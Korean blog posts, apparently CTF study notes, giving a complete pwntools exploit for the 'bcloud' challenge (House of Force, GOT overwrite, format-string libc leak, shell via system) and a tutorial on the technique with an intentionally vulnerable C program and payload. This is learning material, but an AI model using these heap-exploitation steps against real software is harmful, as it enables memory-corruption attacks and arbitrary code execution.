house of force로 푸는 문제다.


풀다가 이상하게 익스가 안되길래 다른분의 코드를 참고했다.

exploit code

from pwn import *

r = process("./bcloud")
elf = ELF("./bcloud")

print r.recv()
r.send("A"*64)
r.recvuntil("A"*64)
chunk = u32(r.recv(4))

printf_plt = elf.plt['printf']
atoi_got = elf.got['atoi']
topchunk = chunk + 0xd8

house = atoi_got - topchunk - 8 - 4

log.info("exit_got = {}".format(hex(atoi_got)))
log.info("TOP chunk = {}".format(hex(topchunk)))
log.info("house of force = {}".format(hex(house)))


r.recvuntil("Now let's set synchronization options.")

print r.recvuntil("Org:")
r.send("B"*64)

print r.recvuntil("Host:")
r.sendline(p32(0xffffffff)*2)

r.recvuntil(">>")
r.sendline("1")
print r.recvuntil("Input the length of the note content:")
r.sendline(str(house))
print r.recvuntil(">>")
r.sendline("1")
print r.recvuntil("Input the length of the note content:")
r.sendline("8")
print r.recvuntil("Input the content:")
r.sendline("AAAA"+p32(printf_plt))
print r.recv(1024)
r.sendline("%p "*20)
print r.recvuntil("0x10 0xa ")

leaked_addr = int(r.recv(10), 16)
print hex(leaked_addr)
libc_base = leaked_addr - 0x49670 
system = libc_base + 0x3ada0

log.info("libc_base = {}".format(hex(libc_base)))
log.info("system = {}".format(hex(system)))

print r.recvuntil(">>")

r.sendline("333")
print r.recvuntil("id:")
r.sendline("1")
print r.recvuntil("content:")
r.send("AAAA"+p32(system))
print r.recv()
r.sendline("/bin/sh\x00")
r.interactive()


'CTF' 카테고리의 다른 글

QIWICTF 2016 pwn200  (0) 2019.01.23
SEC-T CTF PingPong  (0) 2018.09.16
Defcon 2014 Babyfirst heap  (0) 2018.08.16
Defcon 2017 smashme  (0) 2018.08.12
Plaid 2014 ezhp  (0) 2018.08.12

House of Force란 

Top chunk영역의 값을 덮어서 공격자가 원하는 위치에 값을 넣을 수 있는 기법이다.

우선 예시 코드다.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void shell()
{
	system("/bin/sh");
}

int main(int argc, char *argv[])
{
	char *buf1, *buf2, *buf3;
	if (argc != 4) return;

	buf1 = malloc(256);
	strcpy(buf1, argv[1]);

	buf2 = malloc(strtoul(argv[2], NULL, 16));

	buf3 = malloc(256);
	strcpy(buf3, argv[3]);

	free(buf3);
	free(buf2);
	free(buf1);

	return 0;
}

이 코드에선 strcpy로 첫번째 메모리에서 top chunk의 사이즈를 0xffffffff로 덮어버리고 

두번째 malloc의 사이즈를 변조해서 세번째 malloc의 chunk를 원하는 주소로 할당시킬 수 있다.


참고한 사이트에 의하면 Top chunk 를 0xffffffff로 덮는 이유가 두번째 malloc에서 exploit을 가능케 하는 충분히 큰 malloc을 호출하기 위함이라고 한다는데 좀 이해가 안간다.. 계속 곱씹어보며 생각해봐야겠다..

우선 더미 top chunk를 덮었다.

그 다음은 malloc(argv[2])을 할텐데 여기서 공격자가 원하는 크기의 메모리를 할당 받을 수 있다.

우선 두번째 malloc()을 하게되면 0x0804b110부터 값이 들어가게 된다. 즉 만약 malloc(0x20)을 한다면 0x0804b110 + 0x20 = 0x804B130부터 메모리를 할당받는다는 소리다.

다시말해 이 곳의 사이즈에 들어갈 값은 공격자가 임의로 할당받기 원하는 주소의 값을 잘 계산해서 넣어야 한다는 말이다.

이 곳에 값을 넣기 위한 공식은

&target - &top_chunk - 0x8

이다.

왜 -0x8하는지는 top_chunk위치에서 prev_size와 size의 크기가 포함된것을 빼 준 것이다. (32비트에선 8을 빼주었고, 64비트에선 16을 빼준다.)

이 바이너리에서는 free@got에 새로운 메모리를 할당받아 보겠다.

그러면 공식에 대입해보면 free@got(0x804a00c) - top_chunk(0x0804b110) - 0x8 = 0xffffeef4가 나온다.

이제 이 값을 argv[2]에 넣으면 두번째 malloc(0xffffeef4)에서 free@got에 0xffffeef4만큼의 size로 메모리를 할당받게 된다.

그리고 세번째 malloc은 free@got-4에 할당된다. 이게 왜 이렇지??? 이해가 안된다...? 계산을 해봐도 이해가 안가네.. 이것도 계속 생각해봐야겠다.

그리고 이제 argv[3]에 넣은 8바이트의 뒤 4바이트가 free@got에 들어가게 될 것이다.

payload

r `python -c 'print "A"*260 + "\xff\xff\xff\xff"'` FFFFEEF4 `python -c 'print "CCCCDDDD"'`

free@got에서 터진 것을 보면 알 수 있다.


일단 어느정도 이해는 완료 했는데 아직 이해가 안가는 두 부분 때문에 계속 곱씹으면서 생각하면서 디버깅 해봐야겠다.


Ref.http://err0rless313.tistory.com/entry/The-House-of-Force-kor

Ref.https://www.lazenca.net/display/TEC/The+House+of+Force

'HACKING > System hacking' 카테고리의 다른 글

vim jail 문제  (0) 2018.09.08
gdb 멀티프로세스 디버깅  (0) 2018.08.27
파일 디스크립터  (0) 2018.08.04
리버스 쉘(nc via mkfifo)  (0) 2018.07.28
python의 pickle 모듈 취약점  (0) 2018.07.28

+ Recent posts